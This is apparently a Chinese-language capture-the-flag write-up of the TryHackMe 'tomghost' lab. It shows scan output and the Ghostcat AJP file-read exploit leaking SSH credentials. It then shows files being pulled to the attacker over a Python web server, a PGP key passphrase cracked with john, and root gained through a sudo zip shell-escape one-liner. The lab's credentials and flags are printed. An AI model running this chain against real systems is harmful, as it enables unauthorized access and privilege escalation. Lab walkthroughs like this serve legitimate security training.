服务扫描

┌──(rootkali)-[~/tryhackme/tomghost]└─# nmap -sV -Pn 10.10.55.149     Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-20 04:27 EDTNmap scan report for 10.10.55.149Host is up (0.31s latency).Not shown: 996 closed portsPORT     STATE SERVICE    VERSION22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)53/tcp   open  tcpwrapped8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)8080/tcp open  http       Apache Tomcat 9.0.30Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 96.60 seconds

在谷歌上搜寻Apache Jserv (Protocol v1.3),发现此软件存在一个破绽

在kali上搜寻这个攻打脚本,拷贝到以后文件夹备用:

┌──(rootkali)-[~/tryhackme/tomghost]└─# searchsploit 48143---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title                                                                                                                                                                                            |  Path---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Apache Tomcat - AJP 'Ghostcat File Read/Inclusion                                                                                                                                                         | multiple/webapps/48143.py---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results                                                                                                                                                                                                                                            ┌──(rootkali)-[~/tryhackme/tomghost]└─# cp /usr/share/exploitdb/exploits/multiple/webapps/48143.py 48143.py

攻打

┌──(rootkali)-[~/tryhackme/tomghost]└─# python 48143.py 10.10.55.149 -p 8009              Getting resource at ajp13://10.10.55.149:8009/asdf----------------------------<?xml version="1.0" encoding="UTF-8"?><!-- Licensed to the Apache Software Foundation (ASF) under one or more  contributor license agreements.  See the NOTICE file distributed with  this work for additional information regarding copyright ownership.  The ASF licenses this file to You under the Apache License, Version 2.0  (the "License"); you may not use this file except in compliance with  the License.  You may obtain a copy of the License at      http://www.apache.org/licenses/LICENSE-2.0  Unless required by applicable law or agreed to in writing, software  distributed under the License is distributed on an "AS IS" BASIS,  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  See the License for the specific language governing permissions and  limitations under the License.--><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"  version="4.0"  metadata-complete="true">  <display-name>Welcome to Tomcat</display-name>  <description>     Welcome to GhostCat        skyfuck:8730281lkjlkjdqlksalks  </description></web-app>

失去一个相似于页面的返回,期中有一段信息:

Welcome to GhostCat        skyfuck:8730281lkjlkjdqlksalks

房间提醒里说用户名含有脏话,所以这个应该是一个ssh登录凭证

┌──(rootkali)-[~/tryhackme/tomghost]└─# ssh skyfuck@10.10.55.149The authenticity of host '10.10.55.149 (10.10.55.149)' can't be established.ECDSA key fingerprint is SHA256:hNxvmz+AG4q06z8p74FfXZldHr0HJsaa1FBXSoTlnss.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.55.149' (ECDSA) to the list of known hosts.skyfuck@10.10.55.149's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/advantageThe programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.skyfuck@ubuntu:~$ lscredential.pgp  tryhackme.ascskyfuck@ubuntu:~$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 ...10.13.21.169 - - [20/Oct/2021 01:58:16] "GET /credential.pgp HTTP/1.1" 200 -10.13.21.169 - - [20/Oct/2021 01:58:35] "GET /tryhackme.asc HTTP/1.1" 200 -

在另一个用户的家目录夹拿到user.txt

skyfuck@ubuntu:/home/merlin$ lsuser.txtskyfuck@ubuntu:/home/merlin$ cat user.txt THM{GhostCat_1s_so_cr4sy}

skyfuck用户当前目录下的文件传回攻击机剖析
credential.pgp是一个加密文件,看名字应该是明码
tryhackme.asc是pgp的加密秘钥文件

解密pgp文件

gpg2john把tryhackme.asc转成john能辨认的内容,我把输入导入到hash.txt

┌──(rootkali)-[~/tryhackme/tomghost]└─# gpg2john tryhackme.asc >hash.txtFile tryhackme.asc

john破解这个hash

┌──(rootkali)-[~/tryhackme/tomghost]└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt     Using default input encoding: UTF-8Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])Cost 1 (s2k-count) is 65536 for all loaded hashesCost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashesCost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashesWill run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusalexandru        (tryhackme)1g 0:00:00:00 DONE (2021-10-20 05:37) 1.639g/s 1757p/s 1757c/s 1757C/s theresa..alexandruUse the "--show" option to display all of the cracked passwords reliablySession completed

失去明码:alexandru

导入pgp秘钥文件,期间输出下面的明码:

┌──(rootkali)-[~/tryhackme/tomghost]└─# gpg --import tryhackme.asc                                                                                                                                                                                                          2 ⨯gpg: 密钥 8F3DA3DEC6707170:“tryhackme <stuxnet@tryhackme.com>” 未扭转gpg: 密钥 8F3DA3DEC6707170:私钥已导入gpg: 密钥 8F3DA3DEC6707170:“tryhackme <stuxnet@tryhackme.com>” 未扭转gpg: 解决的总数:2gpg:              未扭转:2gpg:       读取的私钥:1gpg:   导入的私钥:1

gpg解密credential.pgp文件,期间再次输出下面的明码

┌──(rootkali)-[~/tryhackme/tomghost]└─# gpg credential.pgp        gpg: 正告:没有提供命令。正在尝试猜想您的用意...gpg: 留神:接收者的偏好设置中找不到密文算法 CAST5gpg: 由 1024 位的 ELG 密钥加密,标识为 61E104A66184FBCC,生成于 2020-03-11      “tryhackme <stuxnet@tryhackme.com>”

读取解密文件:

┌──(rootkali)-[~/tryhackme/tomghost]└─# cat credential    merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j 

提权

通过/etc/passwd得悉merlin是期中一个用户,用下面的登陆信息切换到该用户,查看sudo权限

merlin@ubuntu:~$ sudo -lMatching Defaults entries for merlin on ubuntu:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser merlin may run the following commands on ubuntu:    (root : root) NOPASSWD: /usr/bin/zip

利用zip命令提权到root

merlin@ubuntu:~$ TF=$(mktemp -u)merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'  adding: etc/hosts (deflated 31%)# iduid=0(root) gid=0(root) groups=0(root)# cat /root/root.txtTHM{Z1P_1S_FAKE}#